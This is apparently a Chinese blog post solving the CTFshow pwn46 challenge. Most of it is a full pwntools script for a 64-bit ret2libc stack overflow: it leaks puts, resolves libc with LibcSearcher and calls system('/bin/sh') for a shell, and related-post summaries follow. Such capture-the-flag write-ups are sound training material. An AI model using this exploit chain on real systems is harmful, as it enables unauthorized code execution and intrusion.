ctfshow pwn46

CTFshow-PWN入门-栈溢出pwn35~pwn40 本文主要详解CTFshow中pwn入门系列的栈溢出模块的前6题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope参考文章:以下操作中小编用的都是自己的kali环境。 阅读详情

简单的64位ret2libc

from pwn import *
from LibcSearcher import *

# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')


pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28129)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.27.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))

leak_name = "puts"
leak_plt = elf.plt[leak_name]
leak_got = elf.got[leak_name]
ret_addr = elf.symbols["ctfshow"]
ret =  0x00000000004004fe
pop_rdi = 0x0000000000400803

payload = b"a"*(0x70+8)+p64(pop_rdi)+p64(leak_got)+p64(leak_plt)+p64(ret_addr)
ru("O.o?")
sl(payload)

ru("\n")
puts_addr = uu64(r(6))
print("puts_addr------------------>: ",hex(puts_addr))
libc  = LibcSearcher("puts",puts_addr)
base_addr = puts_addr-libc.dump("puts")
print("base_addr-----------------:",hex(base_addr))

system_addr = base_addr+libc.dump("system")
binsh = base_addr+libc.dump("str_bin_sh")
payload = b"a"*(0x70+8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system_addr)
sl(payload)
sl("cat flag")


itr()
ctfshow做题笔记—栈溢出—pwn45~pwn48 但是怎么都timeout,偏移量是重新用pwndbg调试出来的,看来确实有点小错误。于是去学习了一些其他大佬的写法,也学到了一些应对办法。两天没更了,因为打了VNCFTF,还是太弱了,只能做一道异形文字的misc就结束了,pwn一直打不通(先打开ida瞅瞅,其实题目也说了无system无/bin/sh。没有write了,试试用puts吧,更简单了呢。被上一道题硬控半天,这道题不会也要被硬控吧。哎呦,确实可以,也算是对模板越来越熟悉了。由于lib库已经装在本地,省大事了。),于是沉默一天,还是继续学习吧。 阅读详情

相关推荐

CTFshow-PWN入门-栈溢出pwn41~pwn48

本文主要详解CTFshow中pwn入门系列的栈溢出模块的其中x题所用工具:linux环境下的虚拟机、IDA Pro、exeinfope以下操作中小编用的都是自己的kali环境。

weixin_63576152的博客 2725

ctfshow pwn45

简单的ret2libc。

saulgoodman的博客 449

CTFshow-PWN-栈溢出(pwn46)

摘要:本文介绍了CTF比赛中一个栈溢出漏洞的利用过程。通过puts函数泄露真实地址,使用ret2libc技术计算偏移,最终获取shell。利用脚本包含两个payload:第一个泄露puts地址并计算libc基址,第二个调用system("/bin/sh")。成功获取flag:ctfshow{d495bd39-34c0-49a5-bbfa-e0468786ccdb}。文中展示了完整的Python PWN工具利用代码。

Welcome To My6n Blog 520

CTFshow-PWN-栈溢出(pwn45)

我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。system 函数属于libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的,即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。PLT用于间接调用共享库中的函数。这些方法和函数通常用于在漏洞利用过程中查找特定函数的地址(例如 system 函数)或特定字符串的地址(例如 /bin/sh 字符串)。

Welcome To My6n Blog 2012

CTFshow-PWN-栈溢出(pwn55)

这是一道32位栈溢出PWN题,利用gets函数漏洞进行ROP攻击。解题思路:通过溢出控制程序流程,先后调用flag_func1(设置flag1为1)和flag_func2(需满足flag1=1且参数为0xACACACAC),最后调用flag函数(需满足flag1&flag2=1且参数为0xBDBDBDBD)。EXP构造了包含三个函数地址和所需参数的payload,成功获取flag。最终flag为ctfshow{e4a15f8b-48a0-46ce-9783-7fa48bef281a}。

Welcome To My6n Blog 400

ctfshow 命令执行46关到70关 解题思路 理解及答案

ctfshow我看行

2301_78362619的博客 2058

ctfshow pwn45~46

第一个payload不需要ret,因为puts函数对栈平衡的要求不高,加了反而崩溃。

weixin_46570843的博客 439

C#图表开发避坑指南:Chart控件的Series和Points属性详解

本文深入解析C#图表开发中Chart控件的Series和Points核心属性,提供避坑指南。详细阐述了Series的数据序列管理、Points的高效操作与空值处理,以及多Series与ChartArea的协同配置,帮助开发者避免常见错误,实现稳定、高性能的数据可视化应用。

weixin_29313239的博客 364

CTFSHOW-PWN(46-50)

本文总结了CTF中PWN题目的常见解题思路。从PWN46到PWN50,主要涉及64位和32位程序的不同处理方式,包括堆栈平衡、缓冲区溢出利用、GOT表修改等技术。文章详细介绍了如何通过泄露函数地址计算基址、利用ROP链调用系统函数、使用mprotect修改内存权限执行shellcode等方法。特别针对静态链接程序(PWN49)提出了使用mprotect函数绕过NX保护的方案,并给出了完整的利用脚本。这些题目展示了从基础溢出到复杂内存权限修改的渐进式解题技巧,为PWN入门提供了系统性的学习路径。

2402_88443449的博客 482

Rstan下载安装攻略

准备把Rtools删掉,重新下载(胡乱猜测是安装顺序的问题),但是卸载时显示Rtools被占用,但我已经把该关的都关了。这一问题的出现,直接让我卸载掉了Rstudio,又重新安装了一个,不过这次安装在另一个磁盘,因为原来的内存不多了。或者参考知乎,使用清华镜像网址进行下载:(知乎链接)https://zhuanlan.zhihu.com/p/346947595(清华下载链接)https://mirrors.tuna.tsinghua.edu.cn/CRAN/bin/windows/Rtools/

m0_64643017的博客 3099

SpringBoot项目启动后ShardingSphere5.0首次SQL查询慢?这个预热技巧帮你搞定

本文针对SpringBoot项目集成ShardingSphere 5.0后首次SQL查询慢的问题,深入剖析了其根源在于SQL解析引擎的懒加载与缓存初始化。文章提供了三种有效的预热技巧,包括精准的SQL解析引擎预热、简单查询触发全链路预热以及可配置的生产级方案,帮助开发者将初始化成本提前至应用启动阶段,从而消除性能毛刺,提升用户体验与系统稳定性。

chair的专栏 1062

stack45-46

由于是动态链接,因此elf文件都有着共享的libc函数库,因此我们可以通过可以通过泄露的got表某函数地址与libc中该函数的地址的差值,进行调用libc函数中的其他函数,因为在libc到got值是相对偏移,差值一定,就可以通过libc中某函数的地址加上差值就可以得到该函数的真实地址,并可以进行调用。打远程需要知道远程的libc,先进行泄露,在通过泄露地址搜索对应的libc版本进行下载到本地中,加载到shellcode脚本中,进行攻击。因此我们可以通过调用过一次的函数进行获取got表地址。

2301_81390306的博客 522

如何解决Elsevier和IEEE期刊之间参考文献的转换问题

Elsevier期刊和IEEE旗下的期刊两者模版互相转换的时候,会发现Elsevier模版的参考文献是存放在.bib文件下的,然后在.tex文件中直接引用即可。3. 在IEEE的.tex文件中的\end{document}命令行之前,添加下面的这句话(ps:\bibliography{**}中的**名称即为.bib文件的名称)如何将Elsevier的参考文献快速的转成IEEE期刊可用的格式,是本博客需要解决的问题。2. 将下载好的.bib文件,上传到IEEE的latex文件中。

薰珞婷紫小亭子的博客 1675

ctfshow部分wp

web 签到观己WEB_AK赛 源码: <?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match('/php/i', $file)){ die('error'); }else{ include($file); } }else{ highlight_file(__FILE__); } ?> 直接包含上传进度就行 import request

西部壮仔的博客 3045

单片机通过蜂鸣器播放任意音乐代码实现(2):音乐单片机代码自动生成

单片机通过蜂鸣器播放任意音乐代码实现(2):音乐单片机代码自动生成 上一节我们已经构建了基于51单片机的蜂鸣器音乐播放环境,接下来只需要手动或者自动添加音乐代码便能实现不同音乐的播放。当然,第二节将告诉你如何自动生成这些音乐代码。 所用软件 MuseScore 3;用于转换MID文件为musicxml文件 C/C++ IDE(本文为Visual Studio 2019) 1.生成音乐对应的MID文件 可以直接下载mid格式音乐文件,也可以将某段音乐转换为MID文件。最好是直接使用mid格式音乐文件,可

kevin1499的博客 2万+

华为OD面试手撕真题 【合并相邻且相等的元素】多语言题解

华为OD面试高频手撕真题【合并相邻且相等的元素】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解。

qq_45776114的博客 548

CTFshow-pwn入门-pwn49~50 mprotect函数

mprotect函数可以改程序段的读、写、执行权限,配合 shellcode 拿 shell。

Claire_cat的学习记录 725

筑牢上线前安全防线:安全运维服务中的检测实践与深化

在日益严峻的网络安全形势下,将漏洞扫描、渗透测试和基线核查有机结合的上线前安全检测,是保障信息系统安全、稳定、合规上线的基石。通过专业、严谨、协作的检测实践,乙方安全团队能够有效协助甲方在系统生命周期的起点就构筑起坚固的安全防线,为业务的顺利开展和用户的信任保驾护航,真正实现“安全赋能业务”的价值。这道“守门人”的职责,是数字时代企业稳健前行的不可或缺的保障。专业的安全服务提供商(乙方)需要与甲方(系统所有者/运营方)建立紧密、透明、协作的伙伴关系,实现风险的闭环管理,甚至推动甲方安全能力的长期提升。

huluang的专栏 183

CTFSHOW-PWN入门-栈溢出(35-42)

发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x80487BA。发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x400872。ctfshow函数中的,v1大小为14,而read函数读取大小为50,所以read函数存在栈溢出,使用cyclic计算栈偏移量为22。ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18。

2402_84585385的博客 1331

PCIe协议之 Equalization篇 之 理论篇 之 FFE

作为最后一道“精加工”工序,DFE利用其不放大噪声的优势,精准地消除残余的、强烈的后光标ISI,最终得到一个非常干净、张得很开的眼图,供判决器使用。信号经过信道衰减后变得模糊,首先由CTLE进行“粗调”,提供一个宽频带的增益,将眼图初步打开,为后面的DFE创造一个可以正常工作的信号环境。,它通过将输入信号在不同时间点上的多个副本(称为“抽头”)进行加权求和,来直接塑造或“整形”输出信号的波形。:这是最主要的信号路径,通常系数为正值,决定了信号的幅度。:将所有加权后的信号相加,产生最终的均衡输出。

那么菜的博客 753

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

CTFshow-PWN-前置基础(pwn24-pwn25)

你可以使用pwntools的shellcraft模块来进行攻击32位程序,只开了部分 RELRO 保护可以看到多出了一个 RWX: Has RWX segments这意味着二进制文件中存在至少一个段(通常是代码段),它同时拥有读、写、执行权限反编译尝试跟进 ctfshow 函数但是不行这个是它的汇编代码:使用 python 运行:拿到 shell执行命令拿到 flag:ctfshow{f615f3c6-b99a-4590-ac95-1f7baf5b974b}

Welcome To My6n Blog 1738

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

【CTFshow-pwn系列】03_栈溢出【pwn 046】详解:Ret2Libc 之 64位动态泄露

本文详细分析了CTFshow PWN046题目的64位栈溢出漏洞利用过程。通过检查程序保护机制发现No PIE和NX enabled,需要利用ROP技术绕过保护。文章分三部分展开: 题目侦察:确认64位架构,参数通过寄存器传递(RDI/RSI/RDX),重点构造write(1,write_got,8)调用泄露libc地址。 漏洞分析:在ctfshow()函数中发现read读取200字节到112字节缓冲区,造成120字节偏移的栈溢出。通过ROPgadget找到关键指令pop rdi和pop rsi。 攻击实现

一只枷锁的博客 1138

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

ctfshow pwn103

摘要:这道题通过溢出漏洞覆盖src的值来绕过限制。解题步骤包括:输入v1判断是否≤80,然后利用未限制长度的scanf输入dest,通过溢出覆盖src地址。构造payload为88字节垃圾数据加上目标地址,最终成功执行gift函数获取flag。代码使用pwntools发送payload实现交互。

2501_90908131的博客 28

CTFshow-PWN-Test_your_nc(pwn0-pwn4)

连上,等它程序执行完你可以直接来到 shell 界面执行命令,获取 flag。

Welcome To My6n Blog 1857

CTFshow-PWN-栈溢出(pwn40)

在64位的Linux系统中,参数传递是通过寄存器来完成的,而 system 函数的第一个参数(即需要执行的命令字符串)是通过 rdi 寄存器传递的,所以,我们首先需要将 /bin/sh 字符串的地址放入 rdi 寄存器中,然后才能调用system函数,这就是为什么我们需要知道 pop rdi;--only "pop|ret": 指定了只查找包含"pop"和"ret"指令序列的代码片段,这些指令通常用于弹出寄存器中的值,并将控制流返回到调用函数的地址处,是ROP攻击中常用的gadgets。

Welcome To My6n Blog 1951
上一篇: ctfshow pwn45
下一篇: ctfshow [栈溢出]---pwn47
saulgoodman-q
博客等级 码龄6年 828粉丝 52原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值